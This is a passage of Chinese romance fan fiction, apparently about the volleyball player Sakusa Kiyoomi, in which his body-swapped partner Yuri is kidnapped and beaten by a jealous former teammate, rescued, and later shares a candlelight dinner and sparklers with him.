恐怕这一系列事件的始作俑者终于要和她面对面交谈了。 货车车厢的门被打开了。 突如其来的光线和温度变化让她打了个冷颤。 由里后知后觉地感觉到自己其实还挺冷的,她走的时候以为自己不会离开太久,就把衣服留在座位上了。 但是她显然没法向一位很有可能给自己制造了连环困境的凶手求助。 男人这时已经不再穿着体育馆工作人员的服装了,而是换上了一套物流公司的工装:“我知道你。” 这一点她当然看得出来,不然抓她来这里干什麽呢?由里不想因为自己主动输出暴露太多信息,所以只是沉默地看着他。 他继续说:“每次佐久早去各地比赛的时候,你都会跟着他。我还知道你早就和他住在一起,顺便找到了你们的家。你一定也是一个被他所迷惑并因此爱上他的人吧?” 他为什麽要用“也”? 由里有点犹豫地问:“你也……喜欢他吗?” 所以他做这一系列匪夷所思的事情难道是爱而不得对情敌的报复? “你这女人在说什麽?”男人没想到会得到这样的反应,顿时怒火中烧,“我是要向所有人揭穿他的真面目。” 由里不解地看了看他。 他说:“你为什麽不问我他怎麽了?” 由里愈发迷惑了,他好像有一种戏瘾,即使所有人都理解不了,他也有一种信念感要把这个坏人表演到底,他把由里带来这里就是为了让她看一场莫名其妙的大戏吗? 出于安全考虑她也只好配合出演:“他怎麽了?” “他是个道貌岸然的伪君子,夺走了我的一切。” 这种和佐久早圣臣风马牛不相及的结论到底是怎麽得出来的?有一瞬间由里都忘记了对于可能会被伤害的恐惧,只是单纯地感到荒谬。 男人愤慨地展开了叙述:“在我国中的时候,我也曾经是队里的王牌,但是到了高中,就因为有他在,我连正选都当不上。” 要说这个男人有运动经验由里是相信的,第一,他看起来确实很高大,只是不像佐久早他们那样有鲜明的肌肉线条——或许从失去了正选位置开始他就没那麽热衷于锻炼身体了吧;第二,随着灯光进入货车车厢的空间,由里注意到车厢里放着一根棒球棍,可能她就是被那根棒球棍打伤的。 “都是因为佐久早圣臣,没有人再像以前一样无条件信任我,我明明和他一样每天都参加了训练,付出了那麽多辛苦,但是得到奖牌的人却只有他。” 那是因为他确实打得太好了啊……竞技体育不看得分能力还要看什麽呢? “还有,他抢走了我的女朋友。” 这就更奇怪了,佐久早以前好像没有过女朋友吧。 “我本来都要和我的女朋友上垒了,他却过来拆散我们。从那之后我的女朋友就不跟我说话了,我看肯定是因为她被佐久早道貌岸然的外表迷惑了。” “他……为什麽会在这时候出现呢?” “我和我女朋友正在学校的校园里走着,我只是很普通地想要拥抱她而已,这在情侣中不是很正常吗?可是那家夥跑过来说什麽‘不经过女生的允许就这样做是很失礼的行为’,还叫我走开。” 这听起来完全是一种正义行为啊……他该不会觉得这样说能让由里站在他那边吧? 男人可能回忆起那时的事情太气愤了,一时间呼吸急促起来,大口喘着气。 看他暂时不说话了,由里只好试着把话接下去:“那你女朋友到底有没有允许啊?” 他理直气壮地说:“她明明就说了她觉得我是一个好人啊,这难道不就是默许了吗?” 怎麽越来越离谱了?由里都不知道从何说起好了。 “冒昧问一句,你和你女朋友在一起的过程是?” “我写了情书给她表白,她没有回应我,我知道那是因为女生都很容易害羞,需要男生主动,于是鼓起勇气约她到操场见面。”男人十分自我陶醉,“当我问她愿不愿意和我交往的时候,她就说了上面的话,她那麽认真地看着我的眼睛,怎麽可能是不喜欢我呢?” 由里终于明白了两件事:一件是佐久早选手因高中时太过优秀还阻止了一起性骚扰案件被记恨至今,甚至连他的妻子都遭到了迁怒,另一件是她恐怕碰到的是一位有钟情妄想症的罪犯。 她忍着恶心试图顺着他的思路说下去:“听起来你还挺深情的,那你被他横刀夺爱了,我被他骗了,我们不应该同是天涯沦落人吗?所以你绑架我的目的是?” “我当然知道你只是被蒙蔽了,佐久早那种人才不配得到真心的爱慕呢!”男人终于得到了肯定,十分激动,但很快话锋一转,“你还不明白吗,我要毁了你,让他也尝尝重视的东西被夺走的滋味。” 啊? 由里毫不理解,但事已至此多拖一点时间她就有更多的可能获救,她只好和他扯皮下去:“你真的觉得这样就能伤害到他吗?” “你这是什麽意思?” 由里的大脑飞速转动着,她说:“佐久早选手那种条件的人,想找什麽样的女友找不到?他选择我无非就是因为我无权无势,可以召之即来挥之即去罢了。” 男人点了点头,似乎是被说服了,随后说:“你很聪明。” 对吧?她也是这麽认为的。由里神情紧绷,不让自己颤抖的双手暴露。 男人阴沉着脸朝她晃了晃手机:“我知道你想借这个理由劝我不要伤害你,可是我不得不这麽做,因为他是真的爱你,他为了你缺席了今天的比赛。” 由里呆滞了一下。 安部先生肯定会发现不对,佐久早也肯定会很快就得知自己失踪的消息的,这都不令人意外。 她刚才因为太专注于思索逃脱的事情,没有展开想这件事,可现在她才想起来,昨天还对自己述说着对今天比赛的期待的佐久早完全有可能就这样突如其来地缺席了这场比赛。 不能再想下去了,一味地为臣臣的事情难过并不能让她回到他身边,她得先想办法活下去。 但现在她连这件事也没有时间思考了。 因为男人拿起了她从刚才开始就注意到过的棒球棍。 “你要怪就怪佐久早那家夥吧,是他的爱害了你。”男人说,由里注意到他拿球棍的手和她一样也有几分颤抖。 但是他最终还是选择让球棍落到了她身上。 由里侧身让头部避开,球棍击中了她的手臂,她闷哼了一声,被打中的地方像被灼伤一样剧烈地发痛。 但是她被绑着,再怎麽挣扎也不可能永远躲开每一次攻击,球棍最终还是打中了她的头,本就疼痛不已的脑子发出嗡鸣的声音,有鼻血顺着她的脸流了下来。 她终于不得不面对这个事实了。 她有可能会死在这里。 “他没有错……”她用残存的意识拼凑出了这句话。 如果真的要死,她也不能让这个杀人犯心安理得地活着。 “你说什麽?”男人停了下来,甚至退开了两步,为她的话感到不可思议。 “佐久早圣臣没有错。” “你……你凭什麽这麽说?” “你们既然是一个学校的,你难道不知道古森选手也打过主攻手,可是为了不被他的光芒掩盖,从不同的赛道成为最好的选手,转型打了自由人……”由里咳了一声,有血流了出来,但她还是要坚持说下去,“虽然不是每个人都能成为他们那样的顶尖选手,但是一个人只是想要留在赛场上多的是办法,可你做了什麽呢?” “如果真的喜欢,哪怕去打几场业余的比赛也好,可是你把时间全都花费在报复一个根本就没有任何地方对不起你的人身上,连他的家人都不放过……”由里的视线越来越模糊了,脸上因为血液变得黏糊不堪。 男人终于听不下去了,拿起球棍再次向她走来。 “你根本就不配评价他!”她几乎是喊了起来,“技不如人的人是你,不被爱的人是你,连正面竞争的勇气都没有只敢对一个手脚被束缚起来的无关人士动粗的人也是你!就算你今天杀了我你也只是一个一无所有的失败者!” 她挨了最后一记重击,然后彻底失去了意识。 第38章 她很快明白了佐久早不肯和她换回来的原因。 由里再次从黑暗中醒来。 她只觉得头痛欲裂,身体的其他部位完全没有知觉了。 她拼命挣扎了几下,但很快察觉到用来绑缚自己的四肢的宽胶带并没有被解开,只是多了一条用来封住了自己的嘴。 光线的缺失和在遭遇连续重击之后已经不算十分清明的视线导致由里并不能准确地判断自己身处何处,只能判断出自己被塞在一个很狭小的空间里,而且这次没有在进行移动了。 或许那个疯狂的杀人犯以为她死了,这里是他选择的抛尸地。 如果真是这样,只要能出去,她或许就能逃走。 由里拼命向四周触碰了一圈,终于在头顶上顶出了一个可以移动的空隙。 她意识到自己在一个筒状的空间里,头顶上是一个盖子。 但是这个盖子似乎被重物压住了,任凭她怎麽移动都没有任何用处。她的身体本就在极寒天气和多次重击之下脆弱不堪,没有办法在受到束缚的情况下对抗如此沉重的东西。 由里最终脱力地瘫倒下去。 她想起和她约定好等她的伤好了就要一起举办只有他们两个人的婚礼的佐久早,他为了这件事缺席了自己重要的比赛,此时此刻不知道该有多麽焦急痛苦。 但是也许他们不会有机会再见面了。 她一直都不相信自己也可以拥有幸福,直到遇到了佐久早,她终于有勇气去正面对抗给自己带来痛苦的一切事情。明明所有的事情都在好起来,怎麽她最害怕的事情还是发生了呢? 也不知道她晕倒了多久,从那之后又过去多久了。 如果到第二天的话,他们会不会再次互换身体呢? 如果到那时候自己的身体已经坚持不住的话……佐久早会怎麽样? 她不能就这样放弃。 由里突然想起自己与那个疯男人正面对话之前她摸到了自己的手机,不知道此时此刻手机还在不在自己手里。 她急忙伸手摸向自己身前的口袋,每一寸被牵动的肌肉都很疼,但是她还是拼命拿到了手机。 电池在寒冷的地方原本耗电的速度就会更快,不知道她的手机现在还有没有充足的电量来维持开机。 她深吸了一口气,点开了屏幕,无数个未接电话涌上了界面。 她注意到时间已经是淩晨五点半。 最后一通电话是佐久早打给她的。 这说明离开了货车这里终于有信号了?她滑动手机界面立刻回拨了佐久早的电话。 电话刚打通就被人接了起来,她听到电话那边的人飞快地说:“由里?是你吗?你在哪?” 听到他的声音,由里几乎要哭出来了,她不能说话,只能用残存的力气从喉咙里发出微弱的声音。 “你还好吗?是不是不能说话……”佐久早还在电话里追问着,但是他的声音戛然而止。 由里的手机耗尽了最后的电量,自动关机了。 她一瞬间又回到了黑暗中。 但至少打通的电话有机会让警方定位到她的位置,他们就可以更快找到她了,也许,也许会没事的。 她的眼皮也开始打架,她实在太疼,太冷也太累了。 在她即将失去意识的那一刻,她突然从一个十分明亮的房间里醒来。 “怎麽了?没事吧?”她看向声音的方向,发现是古森在对自己说话。 佐久早的母父也在不远处,一边等待一边针对一份材料交流着什麽,或许他们也为了查找由里推迟了一些工作事务。 她的身体变得轻松多了,只是有些轻微的疲惫感,刚才被困在黑暗中的样子就好像是一场梦。 “圣臣,要不要先休息一下?”古森继续问,“你的脸色太差了,先睡一会再起来找人吧,电话都能打通了肯定很快就能找到她了。” 由里这才明白过来发生了什麽——这一切根本就没有结束,只是她刚才承受的那些现在换佐久早去承受了。 她不知道自己的身体还能坚持多久,但已经无暇去思索最差的情况。 由里飞快地思考了一遍自己在货车上和塑料桶里接触到的全部信息:“冷藏库。” “什麽?”古森奇怪地看了看他的表亲。 “在冷藏库附近的一个桶里。” “谁啊?” “臣……由里在冷藏库附近的一个桶里。” 古森茫然地看着由里,一瞬间茫然便转化成了惊恐,他飞速地拉起由里到了室外。 由里不理解为什麽他要这样对自己,一心只想快点去救佐久早:“到底怎麽了?” 古森十分严肃——由里从来没有在他脸上见到过这样的表情,这几乎让她有点害怕——他问:“圣臣,你老实告诉我,你为什麽会知道?” 由里堂皇地摇了摇头:“不是那个问题,我们应该快点去救人啊!” 古森根本不听她的:“是你做的吗?” “你在……说什麽?” 古森几乎要大喊起来,但却还是拼命压抑着,保持着微弱的气声:“都到这种时候了你还不能告诉我实话吗?如果不是你做的你怎麽会知道她在哪里?” “我没……” “算了你不说就不说,现在马上订票离开这里,我会跟他们说我送你回去睡觉了。”古森拉起由里飞快地往自己的车上走。 由里不明就里,只能从他手中抽出自己的手反过来拉住他:“我们真的得去冷藏库救她!” 古森眉头紧皱:“我们只能去机场——我不知道你是害了她之后……又反悔了还是怎麽样,难道我要眼睁睁看着我的表兄弟进监狱吗?” 啊? 被他这麽一说,由里渐渐明白,对此事本该毫不知情的佐久早突如其来地报出了爱人遇害的地点确实非常令人怀疑。 但是她只能尽可能简单地向他解释:“古森君,首先臣臣没犯罪,犯罪的是他高中和他一样打主攻手的同学,其次你为了亲情包庇犯罪嫌疑人的话自己也会遭殃的,最后我不是他!我们真的得快点去冷藏库不然我不知道他能不能坚持下去了!” 古* 森被这一连串的信息噎住了:“你不是圣臣还能是谁啊……” 这时有警察出来打断了在寒风中站在警署门口的两个怪人:“我们查到远藤小姐所在的方位了。” 古森急忙询问:“她在哪?” “达尔冷藏库。” 古森怔了一下,没有说话。 “现在我们立刻部署警员去救人,两位可以随行前去搜救。”警察说完就进去了,留下古森和由里面面相觑。 最后还是由里先开了口:“我的意思是,我是远藤由里……我的灵魂是远藤由里,我和臣臣互换身体了。” 古森犹豫了一下,小心地问:“圣臣,你是不是太累了?” “我真的没有!”由里早就知道这样的事情除非真正发生根本不会有人相信,但还是极力证明着自己的身份,“那天臣臣家里的长辈和我一起去看比赛,在看台上有粉丝送给你一个柴犬挂件,这件事情臣臣不是不知道吗?” “就算你这麽说……” “你难道不奇怪我们是怎麽认识的吗?如果不是因为互换身体,我一个能在家里宅一辈子的人怎麽可能会和两点一线的国家队运动员认识啊?” “好像还真是这个道理……” “现在最重要的事情是救人,我在被绑架之后被殴打了很多次,现在身体状况已经很差了,如果我们不能马上找到我的身体的话,臣臣他……” 古森立刻回身进门:“我去叫他们一起。” 达尔冷藏库的距离不近,他们花了一段时间才到达。得知全部情况的由里和古森已经心急如焚。 搜救很快开始。由里只知道自己在一个桶里,但是不知道这个桶的位置和外观,她只好一个一个地去翻存储物品的桶,最终在垃圾站里看到了一个被胶带封锁住的垃圾桶。 她从佐久早的口袋里拿出钥匙,借助钥匙飞快地划开了胶带,看到了被紧紧束缚住的,自己满是血迹、淤青和冻伤的身体。 佐久早还醒着。由里把自己的身体抱出来的时候听到了他因为吃痛不可抑制的吸气声,她顿时泪如雨下。 “臣臣……”由里想要撕开全部的胶带,但那样也会让他无比疼痛。 她只好先飞快地撕开缠在自己嘴上的胶带,试图通过亲吻换回身体,却吻到了自己的侧脸。 佐久早说话的声音嘶哑而微弱:“不用……” “什麽不用,你在说什麽啊?”由里十分着急,捧着自己的脸不由分说地亲了上去。 佐久早还是有些抗拒,但是他现在身处一具无比虚弱的身体之中,而且束缚他的胶带还未曾解开,他不可能再作出什麽有效的反抗,最后还是让由里亲吻了他。 好疼…… 实在是太疼了。 由里很快明白了佐久早不肯和她换回来的原因。如果是这样的疼痛,她也无法放任对方就这样独自忍受。 她靠在爱人的肩膀上晕了过去,只记得昏倒之前佐久早还在亲吻她的嘴。 但是他们没有因此再次互换。 第39章 这是一个真正的吻。 由里不知道自己昏睡了多久,醒来的时候佐久早正坐在她的床旁边。 她嗅到了消毒水的味道,听到了心电监护仪的滴答声,也看到了自己身上的病号服,她很快意识到这是医院的病床。 佐久早本来在对着空气发呆,但他的手拉着由里的手,因为她突然的动作,他不由得惊了一下。 由里也有点被吓到了,从她晕倒开始虽然已经过去了很久,但是在她的意识彻底迷失之前,她刚从九死一生的环境里脱身。 被封闭在垃圾桶里刺骨的寒冷,被重击的剧痛,还有那个罪犯疯狂的话语她似乎都还能再次体验到。 “你醒了。”他说,声音小到像是在自言自语,但也足够由里听清。 佐久早非常小心地避开她的伤口,用比任何时候都轻的力度抱住了由里。 由里的身体僵了一下。她渐渐地意识到,她所经历的那些痛苦很大一部分佐久早也在她的身体里体验到了。那种劫后余生的惶惑里顿时夹杂了心疼。她也用手臂轻轻勾住佐久早的脖子,几乎是安抚性地摸了摸他卷翘的发尾。 虽然佐久早的头发是自然卷,相对于直发是相对无序的发型,但是他平时也会认真打理让头发看起来整齐一些。此时此刻他不知道有多久没有好好休息,或许也没有回到家里或者任何可以休憩的地方去过,所以头发的外轮廓里比平时多出不少微微翘着的碎发。 “我……睡了多久?”由里问——她觉得喉咙有点干,于是清了清嗓子。 佐久早把准备好的水递到她嘴边:“快要有一天了。” “那你睡觉了吗?”由里就着他的手小口地喝了一点水,温热的液体滑过喉咙,让她找回了一种存活的实感,“我们上次互换的时候臣臣就已经一晚上没睡了吧。” “白天有护工照顾你,你做完全部的检查之后我睡了一会,放心吧。” 话虽这麽说,佐久早的眼下分明就有着从来没有过的乌青。像他这样作息规律的人什麽时候以这样的脸色示人过呢? 由里轻轻推了推他:“臣臣明明看起来就很累……我现在醒了,再去睡一会吧。” 佐久早没有管她,只是挪动了一下自己的座椅,同她靠得近了一点:“我没事,现在感觉怎麽样?” “已经好多了,”由里想起案件的重要信息自己都还没有告诉大家,猛然从床上支起身来,结果疼的倒吸了一口冷气,“臣臣,那个人说他是你的高中同学,你们找到他了吗?他没对你怎麽样吧?” 由里的伤处太多了,随便移动一下都很容易碰到,佐久早赶紧站起身帮她躺回原处,示意她不要乱动:“他已经被带走了,人赃俱获,他也没有什麽可以为自己辩解的,之前关于我的谣言,家门口的标记,还有你的……那个男人的事情,都是他间接造成的。” 由里听说事情已经尘埃落定,这才松了口气,乖乖回到床上:“那就好……大家都没事吧?” “嗯,”佐久早想了想,又说,“我没有注意到过他的恶意,后来才知道他是因为我才对你出手。对不起,没想到是因为我的事情害你被卷进来。” “臣臣不要道歉啊,又不是你的错。”由里轻轻拉住他的手,安抚性地捏了捏,“且不说你都没有继续和他联系,想不到他太正常了——他把那些问题归因于你本来就不是一般人可以理解的思路。” 佐久早回握住她的手,她身上的伤痕他已经看了太多次,此时此刻不需要反复打量也完全记得住,所以他就只是和她这样静静待了一会。 “对了,元也知道我们互换的事情了。” 由里并不意外这个结果,毕竟揭开真相这件事是她自己亲自参与的:“因为去找你的时候太着急了,就说了出来。” 佐久早看起来也完全知道了前情,他点点头:“我也和他解释过是每天的淩晨会发生互换的事情了。” “说起这个……”由里低头看了看自己的手,惊奇地抬起头看向了佐久早,“今天到现在都没有互换。” 佐久早光顾着关心她的身体状况,现在也后知后觉地发现了这件事。他也像她一样垂首看了看自己的身体:“是这样。” “难道真的像传说里那样,互换自动结束了?”由里思索着,“今天好像不是什麽特殊的日子,距离我们互换开始的那天间隔的时间也……不是特殊的数字。嗯……突然觉得头好疼啊。” “如果你现在不觉得头疼那才是真的出问题了。”佐久早用指腹搓了搓她的脸颊,很轻地笑了一声,但是在安静的病房里由里还是听得很清楚,“先不要想这些了,好好休息吧。” “嗯。”由里靠在枕头上看着他,“臣臣。” “怎麽了?” 由里问:“现在这些都是真的吗?” 佐久早因为这个问题沉默了一会:“当然。” 他牵着她的手放到自己的脸上,让她感受到自己的温度:“都已经结束了,一切都会好的。” 俱乐部给佐久早放了一周假,但排球是一天不碰也会影响手感的运动,就算佐久早自己不回去,由里也会一直赶他回去。最后他只多休息了一天,把觉补足就回去训练了。 由里也只在东京多停留了一天,就在大家的照看下转院到了大阪的医院。 由里平时专注工作的时候都没有在一小段时间里见过那麽多人,结果最近凡是能来的朋友都来看她了。虽然身体受了伤,但她一天说的话比往常多出不少。 她原本跟奶奶约好了新年时要在大阪见面,现在新年马上就要到了,她却还在医院里。这件事总归是瞒不过奶奶的。奶奶火急火燎地跑来照顾她,由里本来回忆起之前的事情还偶尔会觉得恐慌焦虑,但是有了疼爱她的亲人作伴心情轻松多了。 佐久早则是在工作时间比平时还要更加全神贯注地训练,把加练的时间腾出来照看由里。 由里知道现在也是对佐久早的赛程来说非常关键的时期,他本来就为之前的案件缺席了一次比赛,她不想再让他的竞技状态受到影响。她于是又赶了他几次,但看他实在放心不下,也就不再坚持。 她靠在病床上和佐久早聊天:“我们最近待在一起的时间好像比以前都要长。” 自从那件事情之后,佐久早只要出现在由里身边就常常会牵住她,就好像他很害怕她突然消失一样。他说:“以前我们都太忙了。” “我现在也很忙……”由里瘪了瘪嘴,“我想画画了。” 佐久早便絮絮叨叨地念起了她的身体状况:“你现在的状态不能维持同一个姿势坐太久,正好连载还没有开始,还是稍微过一段时间吧……还有,你的手臂不疼了吗?” 由里可怜兮兮地说:“疼。” “所以果然还是……” 由里担心这是佐久早即将开始碎碎念的下半程的预告,急忙打断了他:“臣臣亲我一下我就不疼了。” “我在认真地跟你说话呢。”佐久早皱着眉捏了一下她的鼻尖。 “我也是认真的。”由里前倾了一点身体同他凑近了。 虽然是刚结束训练就立马过来,但是佐久早仍然保持着他超乎常人的卫生习惯,身上只有沐浴露清爽的香气——和他冷峻的外表不一样,他用的沐浴露就是很普通的柑橘味,此时此刻温暖地萦绕在由里的鼻尖。 佐久早也缓缓低下头,从他的角度可以看到由里的眼睫毛在颤动着。 他们的鼻尖轻轻碰到一起,然后是嘴唇。 这并不是他们之间的第一个吻。但是他们从来都没有像这样认真感受过他们之间的吻。 不是紧急情况下的逼不得已,不是为了互换身体的例行日常,这是一个真正的吻。 或许是为了防止自己碰到由里的伤处,佐久早吻得很轻,就像一片羽毛轻轻落在她的嘴唇上,柔软又让她微微发痒。 由里伸出双手攀上他的肩膀,身体和他贴得更近,小心翼翼地加深了这个吻,然后她感受到唇尖湿润的触碰,有些惊讶地睁开了眼,发出含混的气声:“臣臣……” 那个光是想到会和别人交换细菌都会黑着脸躲到社交场合的边角去的佐久早,他真的愿意…… 佐久早也睁开眼,稍微错开点距离,眼睛里带着笑看她——他肯定知道由里为什麽停下来了,但是却故意逗她:“你不愿意?” 由里想摇摇头,但是这两天下来为了养伤她终于习惯说话的时候让头保持不动了:“当然不是!” 既然如此,他们之间也不必再多说什麽。 佐久早也揽她入怀,再次与她唇舌相交。 窗外平静无风,月色如银。 由里马上就可以出院了,他们会一起度过跨年夜,许下很多对新年的心愿。 就这样一直到冬天结束,春天来临,好像会很好。 第40章 情侣在吃烛光晚餐时会讨论什麽话题? 由里在跨年夜到来之前就回到了家。 在那之后她和佐久早真的再也没有互换过身体了,由里想或许一切就像那天在神社里管理员先生说的那样,两个人一起经历了许多事情,验证了关系的日久弥坚,所以用以创建缘分的灵魂互换也随之结束? 因为不再需要每天早上接吻把身体交换回来,他们可以不再像之前那样费心费力形影不离,各自都有了更多的时间。这对两个习惯了独处的人来说其实不算坏事。 住院的时候佐久早还是会每天晚上来医院看由里,但是由于他们的家距离俱乐部远比由里所在的医院近,在由里的强烈要求下佐久早最终同意了晚上回去睡。 这期间佐久早去外地参加过比赛,由里认识他之后还是第一次没有随行,只是在病房第一排观看了他的精彩表现。 佐久早选手并没有因为临时遭遇的变故影响状态,还是之前那个对关于排球的每一件事都一丝不苟的优秀球员。 她到排球相关的社群里转了一圈,球迷们也是这样认为的,这让她为佐久早松了口气。 在佐久早不在的时间里,由里偶尔和其他来看望她的人见见面,大部分时候则花费在慢慢拾起画笔这件事上。 她现在的身体状况一般,没有办法去进行很精细的作画,但是她很快发现借此机会多留意一下画面大关系的塑造也不错。人只要想在一件事情上投注精力总有办法做下去的。 她发消息给佐久早。 【由里:我突然觉得我走到今天得再次感谢由里选手的坚持。】 佐久早人在异地的时候只要没在训练或者比赛回消息都非常快。 【臣臣:虽然不知道为什麽突然说这个。】 【臣臣:得给由里选手举办庆祝仪式。】 跨年当天,佐久早终于有机会展示自己在事前调研中曾经记录在册的情侣浪漫活动——烛光晚餐暨由里选手康复庆祝仪式。 离开家带着长长的采购单去采购食材的时候,他问了由里要不要一起出去走走。由里自然是欣然同意。 佐久早的计划永远都是十分稳妥的,实际上每次采购都花不了多久,他现在正对照着手机备忘录里的购物清单无比迅捷地拿起全部他所需要的东西。 由里本来只是跟着随便看看,但是走到调料区看到他拿起一瓶新的料酒的时候突然出言打断了他:“臣臣,我上次来的时候买过这瓶了。” “你已经买过了?”佐久早有点犹豫,“但是我把它放在清单里是因为家里的那瓶见底了。” 这段记忆由里也有,她于是十分自信地点点头:“我记得我也是看到家里的那瓶没有了,所以才买的。” 佐久早感到有些奇怪,但是看她这麽信誓旦旦不禁也有些怀疑自己的印象:“你买过之后没有替换掉原来的那瓶吗?” 这一问让由里也陷入了思索:“那可能是因为当时那瓶还没有彻底用光?我也记不清了。” 佐久早又看了看手机上的清单,决定给予难得对于清单发表意见的恋人一些信任:“嗯……如果你确定的话就先不拿了。” 由里虽然确实有购买过的印象,但制定清单的人可是事无巨细的佐久早,她不由得变得更加犹豫:“好像也不是那麽确定……要不还是拿一下吧。” “但是料酒消耗得没有那麽快,没有必要囤积太多在家里。”佐久早习惯精简除清洁工具以外的大部分用品——这是由里早就清楚的,“你确定要拿?” “拿吧!”由里经过了慎重的考虑,最终下定了决心。 相信最可靠的佐久早能有什麽问题呢? 然而,回家后他们在由里风衣的挂鈎上看到了装着一模一样的料酒的购物袋。 他们沉默地看了看对方。 由里张了张嘴,想先发制人进行一个道歉,好让佐久早无法太苛责她。 但佐久早还是抢了先,他不无责怪地问:“你是怎麽想到能把料酒藏在这里的?你想举办厨房用品展览会?” 不知道他发现了没有,他现在吐槽别人的话都有点由里的精髓了。 明明以前由里要给他创建清洁用品博物馆的时候他还完全不明白她的幽默呢。 做好晚饭之后佐久早拿出了一个脉冲点火器。 由里以为他只会拿出一个普通的打火机,或者干脆使用购买蜡烛时店家赠送的火柴,但是看到他拿出没在家里见过的设备时有点好奇:“这是专门用来点蜡烛的那种打火器吗?我都不知道臣臣还有这个。” “很久以前买的,”佐久早说,“以前睡不着的时候会点香薰蜡烛。” “臣臣作息这麽规律原来也会被睡眠困扰啊……”由里回想了一下和佐久早认识以来的事情,好像没有留意到过他有什麽休息不好的时候,虽然他们不是从一开始就睡在一起,但是每次她自然醒的时候都刚好是几乎一样的时间已经足够说明佐久早的睡眠有多规律了。 “最近没有……很少会有了。”佐久早严谨地说,如果要说完全没有睡眠障碍的话,那必须得排除由里出事的那次才行,“在刚进入职业球队的时候,产生了和之前不太一样的感觉。” “臣臣从那麽小的时候就是那麽厉害的球员了,居然也会为了比赛紧张吗?”由里关上灯坐在餐桌边,看着烛光在佐久早脸上摇曳。 “也不完全是,只是感觉不太一样。”说话间佐久早开始替她切她盘子里的牛排——他今天做的饭比平时还要精细漂亮,加上此时此刻特意布置过的环境,就算说他们此时此刻是在一家高档西餐厅里也不会有人觉得奇怪,“学生时代和职业时期比起来,能够聚集在一支球队和一场比赛里的人有很大的不同。” “在学校的时候,能聚集在一起的人最多只差两个年级而已,虽然水平会有高下,但是能够长居正选位置的人都是能力相近的人。”佐久早把她的盘子递回给她,“而进入V联盟的话,从那一刻起这个行业所有活跃的选手,无论年龄、积分、战绩和名望,他们全都会成为你的对手。” 由里忍不住插嘴道:“这一切的前提似乎是你一进入职业球队就能上场比赛吧,好奢侈的烦恼。” 佐久早白了她一眼。 这个表情当然激起了由里的反抗:“臣臣这是我们的第一次烛光晚餐,你不能再像这样用对待路人的态度对待你的妻子了!” 佐久早笑了一下:“我对路人很有礼貌吧。” 好像还真是。 由里本来还在绷着脸试图假装生气,但是听到这里也忍不住笑了:“不过这种感觉确实是很合理的,后来臣臣就有了独特的方式来让自己心安吗?” “试了一段时间香薰蜡烛,但有一次我发现自己没有熄灭香薰蜡烛就直接睡着了。” 由里担忧地问:“着火了?” “没有,”佐久早说,“但是我不需要等到失火才能意识到这件事有一定的安全隐患,所以后来就没有再在睡前用过香薰蜡烛了。” 由里点了点头:“防患于未然确实是臣臣会做的事情。” 他们发散性地聊到这里,这些话题差不多也就结束了。两个人都安静地吃了一会。 佐久早有点突兀地打破了平静:“一般的情侣在享用烛光晚餐的时候都会讨论什麽话题?” “嗯……我不知道?”由里在这之前并没谈过恋爱,对此当然毫无头绪,她只是有点费力地从自己的文艺作品储备里掏出了一些情境,“可能会讨论食物——我已经说过了真的太好吃了——还有讨论电影,也有可能聊一些人生观念和关系的未来发展之类的话题吧?” “如果不是我现在在看着你我会以为这是你刚在搜索引擎上搜出的结果。” “我说得有那麽公式化吗……”由里可怜兮兮地看了他一眼,但是由于她嘴里还鼓鼓囊囊地塞着佐久早精心制作的美食,她看起来并不可怜,甚至还像过得很好。 佐久早不准备和她就这个话题展开争论,他问出这个问题是出于其他方面的担忧:“像我这样一直说我的事是不是不太好?” “才没有!”由里立刻表态,“臣臣本来就很少把自己的事情拿出来夸夸其谈啊!我还希望你能多说一些好让我更了解你呢。” 得到这样的回答,佐久早也自在了些,但惯于吐槽她的本性还是没变:“对于伴侣来说现在才开始了解会不会有点晚了?” 她晃了晃脑袋:“不会呀,了解伴侣是永远在进行时的动作。” 佐久早挑了挑眉:“你有时候说话还真挺像个作者的。” “我就是个作者啊!”由里这回发射了一个有点生气的眼刀,但是由于上述原因看起来仍然毫无威慑力。 佐久早因为她的反应轻轻勾了勾唇角:“快点吃吧,等一下我准备了线香花火,我们可以一起去阳台放。”【你现在阅读的是 】 第 41 章【VIP】 第41章 不可以说不喜欢他。 “这个季节也有线香花火?”由里顿时产生了好奇心,“我还以为只有夏日祭的时候可以买。” 佐久早点点头:“一般来说都是在夏天玩吧,但是平日里也可以买到,它的保质期没有那麽短。” 于是吃过晚饭,两人就一起来到阳台上。 室外夜色渐浓,寒风微微吹拂着,城市的灯光星星点点,连成一片。 由里把外套的拉链拉到最顶上,站到了佐久早身边。佐久早把一支线香花火递到她手里。 “我已经很久没有玩过这个了。”确实太久了,以至于由里连点火都有点生疏。 她小心翼翼地用点火器点燃花火,火苗刚触到线香,她就飞快地缩回了手。 佐久早看着她夸张的动作笑了一下:“点火器本来就够长了,它不会烧到你的。” 好在她还是成功把花火点着了。 纤长的花火尖端燃起了跃动的火光,由里和佐久早的视线都被它所吸引了。可他们认真的注视并没有让花火燃烧得更久,只过了不到十秒,火光就黯淡下来,变成微弱的红色,然后渐渐消失了。 “居然这麽快就结束了啊……”由里不无遗憾地把花火拿到近前看了看,但没有看出什麽端倪。 “也许是角度的问题?我印象里元也在玩的时候会让它倾斜到一定的角度。”佐久早向她建议道。 由里恍然大悟,她刚才拿的时候确实是完全任由花火的细棍垂直向下的。但同时她也从这番话中总结出了其他的信息:“原来臣臣也没有玩过?” 佐久早解释道:“小时候觉得它不是很安全,长大之后搬出来住就没有人强迫我去参加节日活动了,所以……” “那臣臣刚才还笑我,我们两个半斤八两吧。”由里取出一根新的花火递给他,“臣臣来换个角度试试。” 佐久早也点燃了自己的花火,这一次他仔细地让花火倾斜过来。两人紧张地观察着燃烧起来的花火,就像在观看一场激烈的排球比赛,时刻被牵动着心弦。 花火比刚才绽放的幅度大了一些,可就在两人以为这次有望让它盛开得更久之时,它又渐渐熄灭了。 由里有些懊丧:“居然这麽难!明明在网上看到的照片都很容易就放出了漂亮的花朵形状来着。” “那现在看看网上的人都是怎麽做到的?”佐久早推开阳台门,进去找到了他的手机。 由里也凑到他身边观看着搜索到的界面:“在燃放的时候把花火倾斜到45度——这个刚才臣臣已经尝试过了。” “嗯……”佐久早往下划动着屏幕,“还有这个,点燃之前可以先捏一下花火的尖端,让火药变得更集中,等一下可以试试。” “这里有一个燃放的视频哎。”由里指了指屏幕。 佐久早就点开看了看。 